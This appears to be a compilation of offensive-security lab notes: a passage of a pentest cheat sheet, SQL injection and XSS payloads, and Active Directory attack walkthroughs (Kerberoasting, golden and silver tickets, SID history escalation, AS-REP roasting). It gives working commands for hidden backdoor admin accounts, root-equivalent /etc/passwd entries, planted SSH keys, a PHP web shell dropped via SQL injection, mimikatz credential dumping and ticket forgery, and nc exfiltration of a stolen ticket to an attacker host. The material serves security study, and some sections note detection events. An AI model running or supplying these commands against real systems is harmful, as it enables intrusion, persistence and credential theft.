# Show which file would be executed in the current environment, depending on $PATH environment variable;
which nc wget curl php perl python netcat tftp telnet ftp

# Search for *.conf (case-insensitive) files recursively starting with /etc;
find /etc -iname *.conf
```

## Post-Exploitation & Maintaining Access

### Browsing Registry Hives

```bash
hivesh /registry/file
```

### Decrypting RDG Passwords

Remote Desktop Connection Manager passwords can be decrypted on the same computer/account they were encrypted:

```aspnet
Copy-Item 'C:\Program Files (x86)\Microsoft\Remote Desktop Connection Manager\RDCMan.exe C:\temp\RDCMan.dll’
Import-Module C:\temp\RDCMan.dll
$EncryptionSettings = New-Object -TypeName RdcMan.EncryptionSettings
[RdcMan.Encryption]::DecryptString($PwdString, $EncryptionSettings)
```

### Decrypting VNC Password

```bash
wine vncpwdump.exe -k key
```

### Creating User and Adding to Local Administrators

```bash
net user spotless spotless /add & net localgroup Administrators spotless /add
```

### Hide Newly Created Local administrator

```erlang
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList" /t REG_DWORD /v spotless /d 0 /f
```

### Creating SSH Authorized Keys

```bash
mkdir /root/.ssh 2>/dev/null; echo 'ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQChKCUsFVWj1Nz8SiM01Zw/BOWcMNs2Zwz3MdT7leLU9/Un4mZ7vjco0ctsyh2swjphWr5WZG28BN90+tkyj3su23UzrlgEu3SaOjVgxhkx/Pnbvuua9Qs9gWbWyRxexaC1eDb0pKXHH2Msx+GlyjfDOngq8tR6tkU8u1S4lXKLejaptiz0q6P0CcR6hD42IYkqyuWTNrFdSGLtiPCBDZMZ/5g1cJsyR59n54IpV0b2muE3F7+NPQmLx57IxoPjYPNUbC6RPh/Saf7o/552iOcmVCdLQDR/9I+jdZIgrOpstqSiJooU9+JImlUtAkFxZ9SHvtRbFt47iH7Sh7LiefP5 root@kali' >> /root/.ssh/authorized_keys
```

### Creating Backdoor User w/o Password

```bash
echo 'spotless::0:0:root:/root:/bin/bash' >> /etc/passwd

# Rarely needed, but if you need to add a password to the previously created user by using useradd and passwd is not working. Pwd is "kali"
sed 's/!/\$6$o1\.HFMVM$a3hY6OPT\/DiQYy4koI6Z3\/sLiltsOcFoS5yCKhBBqQLH5K1QlHKL8\/6wJI6uF\/Q7mniOdq92v6yjzlVlXlxkT\./' /etc/shadow > /etc/s2; cat /etc/s2 > /etc/shadow; rm /etc/s2
```

### Creating Another root User

```bash
useradd -u0 -g0 -o -s /bin/bash -p `openssl passwd yourpass` rootuser
```

### Generating OpenSSL Password

```bash
openssl passwd -1 password 
# output $1$YKbEkrkZ$7Iy/M3exliD/yJfJVeTn5.
```

### Persistent Back Doors

```
# Launch evil.exe every 10 minutes
schtasks /create /sc minute /mo 10 /tn "TaskName" /tr C:\Windows\system32\evil.exe
```

## Code Execution / Application Whitelist Bypass

### Ieframe.dll

{% tabs %}
{% tab title="cmd" %}

```
rundll32 c:\windows\system32\ieframe.dll,OpenURL c:\temp\test.url
```

{% endtab %}

{% tab title="test.url" %}

```
[internetshortcut]
url=c:\windows\system32\calc.exe
```

{% endtab %}
{% endtabs %}

This was inspired by and forked/adapted/updated from [Dostoevsky's Pentest Notes](https://github.com/dostoevskylabs/dostoevsky-pentest-notes).


# SQL Injection & XSS Playground

This is my playground for SQL injection and XSS

## Classic SQL Injection

### Union Select Data Extraction

```sql
mysql> select * from users where user_id = 1 order by 7;              
ERROR 1054 (42S22): Unknown column '7' in 'order clause'
mysql> select * from users where user_id = 1 order by 6;
mysql> select * from users where user_id = 1 union select 1,2,3,4,5,6;
```

![](/files/-LRXObGwHxUJnP-M3Zl2)

```sql
select * from users where user_id = 1 union all select 1,(select group_concat(user,0x3a,password) from users),3,4,5,6;
```

![](/files/-LRXPNBj8tvkuD7S8spf)

### Authentication Bypass

```sql
mysql> select * from users where user='admin' and password='blah' or 1 # 5f4dcc3b5aa765d61d8327deb882cf99' 
```

![](/files/-LRXSM-wLpz-MR1pTltH)

### Second Order Injection

```sql
mysql> insert into accounts (username, password, mysignature) values ('admin','mynewpass',(select user())) # 'mynewsignature');
```

![](/files/-LRXapQ0X8Rl4huvnU0n)

### Dropping a Backdoor

```sql
mysql> select * from users where user_id = 1 union select all 1,2,3,4,"<?php system($_REQUEST['c']);?>",6 into outfile "/var/www/dvwa/shell.php" #;
```

![](/files/-LRY5MXbUi_kecGjQCHt)

### Conditional Select

```sql
mysql> select * from users where user = (select concat((select if(1>0,'adm','b')),"in"));
```

![](/files/-LRcl3lcp24HXsErO5wT)

### Bypassing Whitespace Filtering

```sql
mysql> select * from users where user_id = 1/**/union/**/select/**/all/**/1,2,3,4,5,6;
```

![](/files/-LRi8FAL79mB9k-5SKZ9)

## Time Based SQL Injection

### Sleep Invokation

```sql
mysql> select * from users where user_id = 1 or (select sleep(1)+1);
```

![](/files/-LRXMoyg7m2ypz2wckU2)

```sql
select * from users where user_id = 1 union select 1,2,3,4,5,sleep(1);
```

![](/files/-LRXNFPExWv3xXXjtPtr)

```
```

## XSS

![](/files/-LRYJsNvY3OOrKKiWrsJ)

### Strtoupper Bypass

Say we have the following PHP code that takes `name` as a user supplied parameter:

```php
<?php
        $input=$_GET['name'];
        $sanitized=strtoupper(htmlspecialchars($input));   
        echo '<form action="">';
        echo "First name: <input type='text' name='name' value='".$sanitized."'><br>";
        echo "<input type='submit' value='Submit form'></form>";
        echo "</HTML></body>";
?>
```

Line 3 is vulnerable to XSS, and we can break out of the input with a single quote `'`:

```php
$sanitized=strtoupper(htmlspecialchars($input));   
```

For example, if we set the `name` parameter to the value of  `a'`, we get:

![](/files/-LRYemANzw2Zq24HrHJy)

Note that the `a` got converted to a capital `A` and this is due to the `strtoupper` function being called on our input. What this means is that any ascii letters in our JavaScript payload will get converted to uppercase and become invalid and will not execute (i.e`alert() != ALERT()`).

To bypass this constraint, we can encode our payload using JsFuck, which eliminates all the letters from the payload and leaves us with this:

```php
A' onmouseover='[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]((![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[+[]]+(![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[!+[]+!+[]+[+[]]]+[+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[!+[]+!+[]+[+[]]])()'
```

![](/files/-LRYf25HeqCaNyOBRCZt)

## References

{% embed url="<http://pentestmonkey.net/cheat-sheet/sql-injection/mysql-sql-injection-cheat-sheet>" %}

{% embed url="<http://pentestmonkey.net/cheat-sheet/sql-injection/mssql-sql-injection-cheat-sheet>" %}

{% embed url="<http://breakthesecurity.cysecurity.org/2010/12/hacking-website-using-sql-injection-step-by-step-guide.html>" %}

{% embed url="<https://www.youtube.com/watch?v=Rqt_BgG5YyI>" %}


# Active Directory & Kerberos Abuse

A collection of techniques that exploit and abuse Active Directory, Kerberos authentication, Domain Controllers and similar matters.


# From Domain Admin to Enterprise Admin

Explore Parent-Child Domain Trust Relationships and abuse it for Privilege Escalation

This lab is based on an [Empire Case Study](https://enigma0x3.net/2016/01/28/an-empire-case-study/) and its goal is to get more familiar with some of the concepts of Powershell Empire and its modules as well as Active Directory concepts such as Forests, Parent/Child domains and Trust Relationships and how they can be abused to escalate privileges.

The end goal of this lab is a privilege escalation from DA on a child domain to EA on a root domain.

## Domain Trust Relationships

Firstly, some LAB setup - we need to create a child domain controller as well as a new forest with a new domain controller.

### Parent / Child Domains

After installing a child domain `red.offense.local` of a parent domain `offense.local`, Active Directory Domains and Trusts show the parent-child relationship between the domains as well as their default trusts:

![](/files/-LLfkNIW3CDVM9TPQPQs)

Trusts between the two domains could be checked from powershell by issuing:

```csharp
Get-ADTrust -Filter *
```

The first console shows the domain trust relationship from `offense.local` perspective and the second one from `red.offense.local`. Note the the direction is `BiDirectional` which means that members can authenticate from one domain to another when they want to access shared resources:

![](/files/-LLfkNIVn31WifEHy_0u)

Similar, but very simplified information could be gleaned from a native Windows binary:

```
nltest /domain_trusts
```

![](/files/-LLfymr2tISGUr0AF7s9)

Powershell way of checking trust relationships:

```csharp
([System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain()).GetAllTrustRelationships()
```

![](/files/-LLp2dwp7Jw8rPKHRIIM)

### Forests

After installing a new DC `dc-blue` in a new forest, let's setup a one way trust between `offense.local` and `defense.local` domains using controllers `dc-mantvydas.offense.local` and `dc-blue.defense.blue`.

First of, setting up conditional DNS forwarders on both DCs:

![](/files/-LLpYNUuQX6yMeVKzsQN)

Adding a new trust by making `dc-mantvydas` a trusted domain:

![](/files/-LLpaHfJIqqO9-N16Y5F)

Setting the trust type to `Forest`:

![](/files/-LLp_T-QPuXU13JS_6qK)

Incoming trust for `dc-mantvydas.offense.local` is now created:

![](/files/-LLpav8S_83U10hgkzdc)

Testing nltest output:

![](/files/-LLpcG8cuMYspqLHABv4)

### Forests Test

Now that the trust relationship is set, it is easy to check if it was done correctly. What should happen now is that resources on defense.local (trusting domain) should be available to members of offense.local (trusted domain).

Note how the user on `dc-mantvydas.offense.local` is not able to share a folder to `defense\administrator` (because `offense.local` does not trust `defense.local`):

![](/files/-LLpeThaIcJwqSr7RYDE)

However, `dc-blue.defense.local`, trusts `offense.local`, hence is able to share a resource to one of the members of `offense.local` - forest trust relationships work as intended:

![](/files/-LLpeVebjyrsVSPcrEhB)

## Back to Empire: From DA to EA

Assume we got our first agent back from the computer `PC-MANTVYDAS$`:

![](/files/-LLqZA6wTVQlr8cueCJI)

### Credential Dumping

Since the agent is running within a high integrity process, let's dump credentials - some interesting credentials can be observed for a user in `red.offense.local` domain:

![](/files/-LLqZJD51KVzPtoNiMlA)

Listing the processes with `ps`, we can see a number of process running under the `red\spotless` account. Here is one:

![](/files/-LLqbSCgIQZci0fP_7aQ)

The domain user is of interest, so we would use a `usemodule situational_awareness/network/powerview/get_user` command to enumerate the red\spotless user and see if it is a member of any interesting groups, however my empire instance did not seem to return any results for this command. For this lab, assume it showed that the user red\spotless is a member of `Administrators` group on the `red.offense.local` domain.

### Token Manipulation

Let's steal the token of a process with PID 4900 that runs with `red\spotless` credentials:

![](/files/-LLqaONIhV34AQnzBSL5)

### DC Recon

After assuming privileges of the member red\spotless, let's get the Domain Controller computer name for that user. Again, my Empire instance is buggy, so I used a custom command to get it:

```csharp
shell [DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain().DomainControllers | ForEach-Object { $_.Name }
```

![](/files/-LLqd56Q-tENvfU6bJ-Z)

Check if we have admin access to the `DC-RED`:

```csharp
shell dir \\dc-red.red.offense.local\c$
```

![](/files/-LLqdVb6PsnDvplrnoFS)

We are lucky, the user is a domain admin as can be seen from the above screenshot.

### Lateral Movement

Let's get an agent from `DC-RED` - note that the credentials are coming from the previous dump with mimikatz:

```csharp
usemodule lateral_movement/invoke_wmi
```

![](/files/-LLqd_aC8nWSHWlkPBZL)

We now have the agent back, let's just confirm it:

![](/files/-LLqdxNEGyQn4YnV223L)

### Checking Trust Relationships

Once in DC-RED, let's check any domain trust relationships:

```csharp
usemodule situational_awareness/network/powerview/get_domain_trust
```

![](/files/-LLsXJMThgZvbq6MhFyp)

We see that the `red.offense.local` is a child domain of `offense.local` domain, which is automatically trusting and trusted (two way trust/bidirectional) with `offense.local` - read on.

### From DA to EA

We will now try to escalate from DA in `red.offense.local` to EA in `offense.local`. We need to create a golden ticket for `red.offense.local` and forge it to make us an EA in `offense.local`.

First of, getting a SID of a `krbtgt` user account in `offense.local`:

```csharp
(Empire: powershell/situational_awareness/network/powerview/get_domain_trust) > usemodule powershell/management/user_to_sid
(Empire: powershell/management/user_to_sid) > set Domain offense.local
(Empire: powershell/management/user_to_sid) > set User krbtgt
(Empire: powershell/management/user_to_sid) > run
```

![](/files/-LLsYczHGMeI3IfUIJ8_)

After getting a SID of the `offense.local\krbtgt`, we need to get a password hash of the `krbtgt` account in the compromised DC `DC-RED` (we can extract it since we are a domain admin in `red.offense.local`):

```csharp
(Empire: powershell/management/user_to_sid) > usemodule powershell/credentials/mimikatz/dcsync
(Empire: powershell/credentials/mimikatz/dcsync) > set user red\krbtgt
(Empire: powershell/credentials/mimikatz/dcsync) > execute
```

![](/files/-LLsZuVh38MXxqHcuEXc)

### Golden Ticket for Root Domain

We can now generate a golden ticket for `offense.local\Domain Admins`since we have the SID of the `offense.local\krbtgt` and the hash of `red.offense.local\krbtgt`:

```csharp
usemodule powershell/credentials/mimikatz/golden_ticket
(Empire: powershell/credentials/mimikatz/golden_ticket) > set user hakhak
(Empire: powershell/credentials/mimikatz/golden_ticket) > set sids S-1-5-21-4172452648-1021989953-2368502130-519
(Empire: powershell/credentials/mimikatz/golden_ticket) > set CredID 8
(Empire: powershell/credentials/mimikatz/golden_ticket) > run
```

Note how during `sids` specification, we replaced the last three digits from 502 (krbtgt) to 519 (enterprise admins) - this part of the process is called a SID History Attack:

```csharp
set sids S-1-5-21-4172452648-1021989953-2368502130-519
```

![](/files/-LLsawB_-1oej-CEwxe0)

The `CredID` property in the dcsync module comes from the Empire's credential store which previously got populated by our mimikatz'ing:

![](/files/-LLsb2PvcO7o8Wyh6B4f)

We now should be Enterprise Admin in `offense.local`and we can test it by listing the admin share `c$` of the `dc-mantvydas.offense.local:`

```csharp
shell dir \\dc-mantvydas\c$
```

![](/files/-LLsfOZZXSZLkZZjG_uu)

### Agent from Root Domain

For the sake of fun and wrapping this lab up, let's get an agent from the `dc-mantvydas`:

![](/files/-LLskTCpfFdbJ1EUR5sZ)

## Alternative: Exploit writeable Configuration NC

The Configuration NC is the primary repository for configuration information for a forest and is replicated to every DC in the forest. Every writable DC (not read-only DCs) in the forest holds a writable copy of the Configuration NC. Exploiting this require running as SYSTEM on a (child) DC.

It is possible to compromise the root domain in various ways. Examples:

* [Link GPO to to root DC site](https://improsec.com/tech-blog/sid-filter-as-security-boundary-between-domains-part-4-bypass-sid-filtering-research)
* [Compromise gMSA](https://improsec.com/tech-blog/sid-filter-as-security-boundary-between-domains-part-5-golden-gmsa-trust-attack-from-child-to-parent)
* [Schema attack](https://improsec.com/tech-blog/sid-filter-as-security-boundary-between-domains-part-6-schema-change-trust-attack-from-child-to-parent)
* Exploit ADCS - Create/modify certificate template to allow authentication as any user (e.g. Enterprise Admins)

SID filtering prevents the SID history attack, but not this one.

## References

{% embed url="<https://enigma0x3.net/2016/01/28/an-empire-case-study/>" %}

{% embed url="<http://www.harmj0y.net/blog/redteaming/trusts-you-might-have-missed/>" %}

{% embed url="<https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2008-R2-and-2008/cc731404(v%3dws.10)>" %}

{% embed url="<https://docs.microsoft.com/en-us/powershell/module/activedirectory/get-adtrust?view=winserver2012-ps>" %}

{% embed url="<https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2003/cc759554(v=ws.10)>" %}

{% embed url="<https://support.microsoft.com/en-gb/help/243330/well-known-security-identifiers-in-windows-operating-systems>" %}


# Kerberoasting

Credential Access

This lab explores the Kerberoasting attack - it allows any domain user to request kerberos tickets from TGS that are encrypted with NTLM hash of the plaintext password of a domain user account that is used as a service account (i.e account used for running an IIS service) and crack them offline avoiding AD account lockouts.

## Execution

Note the vulnerable domain member - a user account with `servicePrincipalName` attribute set, which is very important piece for kerberoasting - only user accounts with that property set are most likely susceptible to kerberoasting:

![](/files/-LKEHymbOx0oOZqB-u3R)

Attacker setting up an nc listener to receive a hash for cracking:

{% code title="attacker\@local" %}

```csharp
nc -lvp 443 > kerberoast.bin
```

{% endcode %}

### Extracting the Ticket

Attacker enumerating user accounts with `serverPrincipalName` attribute set:

{% code title="attacker\@victim" %}

```csharp
Get-NetUser | Where-Object {$_.servicePrincipalName} | fl
```

{% endcode %}

![](/files/-LKEQTo6Vvatn_DEOJ48)

Using only built-in powershell, we can extract the susceptible accounts with:

```csharp
get-adobject | Where-Object {$_.serviceprincipalname -ne $null -and $_.distinguishedname -like "*CN=Users*" -and $_.cn -ne "krbtgt"}
```

![](/files/-LKO52yd3HfsBmTinFHl)

It would have been better to use the following command provided by [Sean Metcalf](https://adsecurity.org/?p=2293) purely because of the `-filter` usage (quicker than `select-object`), but it did not work for me:

```csharp
get-adobject -filter {serviceprincipalname -like “*sql*”} -prop serviceprincipalname
```

Another alternative working on Linux using [bloodyAD](https://github.com/CravateRouge/bloodyAD):

```csharp
python bloodyAD.py -u '$user' -p '$password' -d '$domain' --host '$host' get search --filter '(&(!(cn=krbtgt))(&(samAccountType=805306368)(servicePrincipalName=*)))' --attr sAMAccountName | grep sAMAccountName | cut -d ' ' -f 2
```

Additionally, user accounts with SPN set could be extracted with a native windows binary:

```
 setspn -T offense -Q */*
```

![](/files/-LKIfXzbGIXjdq2p7WgL)

Attacker requesting a kerberos ticket (TGS) for a user account with `servicePrincipalName` set to `HTTP/dc-mantvydas.offense.local`- it gets stored in the memory:

{% code title="attacker\@victim" %}

```csharp
Add-Type -AssemblyName System.IdentityModel  
New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList "HTTP/dc-mantvydas.offense.local"
```

{% endcode %}

![](/files/-LKEIBbmJjX4MMuicYOd)

Using mimikatz, the attacker extracts kerberos ticket from the memory and exports it to a file for cracking:

{% code title="attacker\@victim" %}

```csharp
mimikatz # kerberos::list /export
```

{% endcode %}

![](/files/-LKEIGe2N7anuEWUEzEI)

Attacker sends the exported service ticket to attacking machine for offline cracking:

{% code title="attacker\@victim" %}

```csharp
nc 10.0.0.5 443 < C:\tools\mimikatz\x64\2-40a10000-spotless@HTTP~dc-mantvydas.offense.local-OFFENSE.LOCAL.kirbi
```

{% endcode %}

### Cracking the Ticket

Attacker brute forces the password of the service ticket:

{% code title="attacker\@local" %}

```csharp
python2 tgsrepcrack.py pwd kerberoast.bin
```

{% endcode %}

![](/files/-LKEILsCTgLjlbxn9h7B)

## Observations

Below is a security log `4769` showing service access being requested:

![](/files/-LKIlHyRC5bx2E7kMWZs)

If you see `Add-event -AssemblyName SystemIdentityModel` (from advanced Powershell logging) followed by a windows security event `4769` immediately after that, you may be looking at an old school Kerberoasting, especially if ticket encryption type has a value `0x17` (23 decimal, meaning it's RC4 encrypted):

![](/files/-LKIningDnwgpErj5BQO)

### Traffic

Below is the screenshot showing a request being sent to the `Ticket Granting Service` (TGS) for the service with a servicePrincipalName `HTTP/dc-mantvydas.offense.local` :

![](/files/-LKGj4Kvf84KO1anyG1W)

Below is the response from the TGS for the user `spotless` (we initiated this attack from offense\spotless) which contains the encrypted (RC4) kerberos ticket (server part) to access the `HTTP/dc-mantvydas.offense.local` service. It is the same ticket we cracked earlier with [tgsrepcrack.py](#cracking-the-ticket):

![](/files/-LKGj6j_gpAVwcUbHpg0)

Out of curiosity, let's decrypt the kerberos ticket since we have the password the ticket was encrypted with.

Creating a kerberos keytab file for use in wireshark:

{% code title="attacker\@local" %}

```bash
root@~# ktutil 
ktutil:  add_entry -password -p HTTP/iis_svc@dc-mantvydas.offense.local -k 1 -e arcfour-hmac-md5
Password for HTTP/iis_svc@dc-mantvydas.offense.local: 
ktutil:  wkt /root/tools/iis.keytab
```

{% endcode %}

![](/files/-LKH4lBMQhe-45WDcppK)

Adding the keytab to wireshark:

![](/files/-LKH4ntWZZS0w0-UQqUV)

Note how the ticket's previously encrypted piece is now in plain text and we can see information pertinent to the requested ticket for a service `HTTP/dc-mantvydas.offense.local` :

![](/files/-LKH6iRF_yfVO_4JgoP9)

### tgsrepcrack.py

Looking inside the code and adding a couple of print statements in key areas of the script, we can see that the password from the dictionary (`Passw0rd`) initially gets converted into an NTLM (`K0`) hash, then another key `K1` is derived from the initial hash and a message type, yet another key `K2` is derived from K1 and an MD5 digest of the encrypted data. Key `K2` is the actual key used to decrypt the encrypted ticket data:

![](/files/-LKHdsJBFE3Mnvtrl0iu)

![](/files/-LKHdaWK0wLrmtY_gha0)

I did not have to, but I also used an online RC4 decryptor tool to confirm the above findings:

![](/files/-LKHe8dvHZGhNNZdCSO8)

{% file src="/files/-LKGnkAw0lxXESfiSmJh" %}
kerberoast.pcap
{% endfile %}

## References

[Tim Medin - Attacking Kerberos: Kicking the Guard Dog of Hades](https://files.sans.org/summit/hackfest2014/PDFs/Kicking%20the%20Guard%20Dog%20of%20Hades%20-%20Attacking%20Microsoft%20Kerberos%20%20-%20Tim%20Medin\(1\).pdf)

{% embed url="<https://attack.mitre.org/wiki/Technique/T1208>" %}

{% embed url="<https://github.com/nidem/kerberoast>" %}

{% embed url="<https://blog.stealthbits.com/extracting-service-account-passwords-with-kerberoasting/>" %}

{% embed url="<https://adsecurity.org/?p=2293>" %}

{% embed url="<https://www.youtube.com/watch?v=nJSMJyRNvlM&feature=youtu.be&t=16>" %}

{% embed url="<http://www.harmj0y.net/blog/powershell/kerberoasting-without-mimikatz/>" %}

{% embed url="<https://pentestlab.blog/2018/06/12/kerberoast/>" %}

{% embed url="<https://blog.xpnsec.com/kerberos-attacks-part-1/>" %}

{% embed url="<https://pentestlab.blog/2018/06/12/kerberoast/>" %}

{% embed url="<http://rc4.online-domain-tools.com/>" %}

{% embed url="<https://crackstation.net/>" %}

{% embed url="<https://blogs.technet.microsoft.com/askds/2008/03/06/kerberos-for-the-busy-admin/>" %}

{% embed url="<https://medium.com/@jsecurity101/ioc-differences-between-kerberoasting-and-as-rep-roasting-4ae179cdf9ec>" %}


# Kerberos: Golden Tickets

Persistence and Privilege Escalation with Golden Kerberots tickets

This lab explores an attack on Active Directory Kerberos Authentication. To be more precise - an attack that forges Kerberos Ticket Granting Tickets (TGT) that are used to authenticate users with Kerberos. TGTs are used when requesting Ticket Granting Service (TGS) tickets, which means a forged TGT can get us any TGS ticket - hence it's golden.

This attack assumes a Domain Controller compromise where `KRBTGT` account hash will be extracted which is a requirement for a successful Golden Ticket attack.

## Execution

Extracting the krbtgt account's password `NTLM` hash:

{% code title="attacker\@victim-dc" %}

```csharp
mimikatz # lsadump::lsa /inject /name:krbtgt
```

{% endcode %}

![](/files/-LKTTGoQCPbfhNOZvn0j)

Creating a forged golden ticket that automatically gets injected in current logon session's memory:

{% code title="attacker\@victim-workstation" %}

```
mimikatz # kerberos::golden /domain:offense.local /sid:S-1-5-21-4172452648-1021989953-2368502130 /rc4:8584cfccd24f6a7f49ee56355d41bd30 /user:newAdmin /id:500 /ptt
```

{% endcode %}

![](/files/-LKTThyikYYAfLYaxQHH)

Checking if the ticket got created:

![](/files/-LKTTt1PNSbb4q3pKN__)

Opening another powershell console with low privileged account and trying to mount a `c$` share of `pc-mantvydas` and `dc-mantvydas` - not surprisingly, returns access denied:

![](/files/-LKTUC-jFCwRhZEmHe4f)

However, switching back to the console the attacker used to create the golden ticket (local admin) and again attempting to access `c$` share of the domain controller - this time is a success:

![](/files/-LKTUnwdX3d7NvIED1zX)

## Observations

![](/files/-LKTaCJ_9NhLBtCKSbdV)

![](/files/-LKTaENWErVWi2AfvFKX)

## References

{% embed url="<https://blog.stealthbits.com/complete-domain-compromise-with-golden-tickets/>" %}

{% embed url="<https://adsecurity.org/?p=1515>" %}


# Kerberos: Silver Tickets

Credential Access

This lab looks at the technique of forging a cracked TGS Kerberos ticket in order to impersonate another user and escalate privileges from the perspective of a service the TGS was cracked for.

This lab builds on the explorations in [T1208: Kerberoasting](/offensive-security-experiments/active-directory-kerberos-abuse/t1208-kerberoasting) where a TGS ticket got cracked.

## Execution

I will be using mimikatz to create a Kerberos Silver Ticket - forging/rewriting the cracked ticket with some new details that benefit me as an attacker.&#x20;

Below is a table with values supplied to mimikatz explained and the command itself:

| Argument                                            | Notes                                                                                             |
| --------------------------------------------------- | ------------------------------------------------------------------------------------------------- |
| /sid:S-1-5-21-4172452648-1021989953-2368502130-1105 | SID of the current user who is forging the ticket. Retrieved with `whoami /user`                  |
| /target:dc-mantvydas.offense.local                  | server hosting the attacked service for which the TGS ticket was cracked                          |
| /service:http                                       | service type being attacked                                                                       |
| /rc4:a87f3a337d73085c45f9416be5787d86               | NTLM hash of the password the TGS ticket was encrypted with. `Passw0rd` in our case               |
| /user:beningnadmin                                  | Forging the user name. This is the user name that will appear in the windows security logs - fun. |
| /id:1155                                            | Forging user's RID - fun                                                                          |
| /ptt                                                | Instructs mimikatz to inject the forged ticket to memory to make it usable immediately            |

Getting our user's SID as explained in the first step in the above table:

![Getting a user's SID](/files/-LKOT31MW-F9XQ9dl177)

Issuing the final mimikatz command to create our forged (silver) ticket:

{% code title="attacker\@victim" %}

```csharp
mimikatz # kerberos::golden /sid:S-1-5-21-4172452648-1021989953-2368502130-1105 /domain:offense.local /ptt /id:1155 /target:dc-mantvydas.offense.local /service:http /rc4:a87f3a337d73085c45f9416be5787d86 /user:beningnadmin
```

{% endcode %}

Checking available tickets in memory with `klist` - note how the ticket shows our forged username `benignadmin` and a forged user id:

![](/files/-LKOTZW-kHv8wYkCCzlI)

Note in the above mimikatz window the `Group IDs` which our fake user `benignadmin` is now a member of due to the forged ticket:

| GID | Group Name                  |
| --- | --------------------------- |
| 512 | Domain Admins               |
| 513 | Domain Users                |
| 518 | Schema Admins               |
| 519 | Enterprise Admins           |
| 520 | Group Policy Creator Owners |

![](/files/-LKOVuIT9gVZ7i2Wlu2g)

Initiating a request to the attacked service with a TGS ticket - note that the authentication is successfull:

{% code title="attacker\@victim" %}

```csharp
Invoke-WebRequest -UseBasicParsing -UseDefaultCredentials http://dc-mantvydas.offense.local
```

{% endcode %}

![](/files/-LKOWwBBzah8KLDwu1gF)

## Observations

Note a network logon from `benignadmin` as well as forged RIDs:

![](/files/-LKOXAonpWBSa_1Qa8A9)

It is better not to use user accounts for running services on them, but if you do, make sure to use really strong passwords! Computer accounts generate long and complex passwords and they change frequently, so they are better suited for running services on. Better yet, follow good practices such as using [Group Managed Service Accounts](https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-R2-and-2012/hh831782\(v=ws.11\)) for running more secure services.

## References

{% embed url="<https://blog.stealthbits.com/impersonating-service-accounts-with-silver-tickets>" %}

{% embed url="<https://adsecurity.org/?p=2011>" %}


# AS-REP Roasting

AS-REP roasting is a technique that allows retrieving password hashes for users that have `Do not require Kerberos preauthentication` property selected:

![](/files/-L_njEkL2a_oSCa1g0H9)

Those hashes can then be cracked offline, similarly to how it's done in [T1208: Kerberoasting](/offensive-security-experiments/active-directory-kerberos-abuse/t1208-kerberoasting).

## Execution

{% code title="attacker\@rubeus" %}

```
.\Rubeus.exe asreproast
```

{% endcode %}

![](/files/-L_nmHUgTJRw2CxdHR0l)

### Cracking AS-REP Hashes with HashCat

Say this is the hash we get for the potential victim:

```
$krb5asrep$spot@offense.local:3171EA207B3A6FDAEE52BA247C20362E$56FE7DC0CABA8CB7D3A02A140C612A917DF3343C01BCDAB0B669EFA15B29B2AEBBFED2B4F3368A897B833A6B95D5C2F1C2477121C8F5E005AA2A588C5AE72AADFCBF1AEDD8B7AC2F2E94E94CB101E27A2E9906E8646919815D90B4186367B6D5072AB9EDD0D7B85519FBE33997B3D3B378340E3F64CAA92595523B0AD8DC8E0ABE69DDA178D8BA487D3632A52BE7FF4E786F4C271172797DCBBDED86020405B014278D5556D8382A655A6DB1787DBE949B412756C43841C601CE5F21A36A0536CFED53C913C3620062FDF5B18259EA35DE2B90C403FBADD185C0F54B8D0249972903CA8FF5951A866FC70379B9DA
```

We need to insert `23` after the `$krb5asrep$` like so:

```
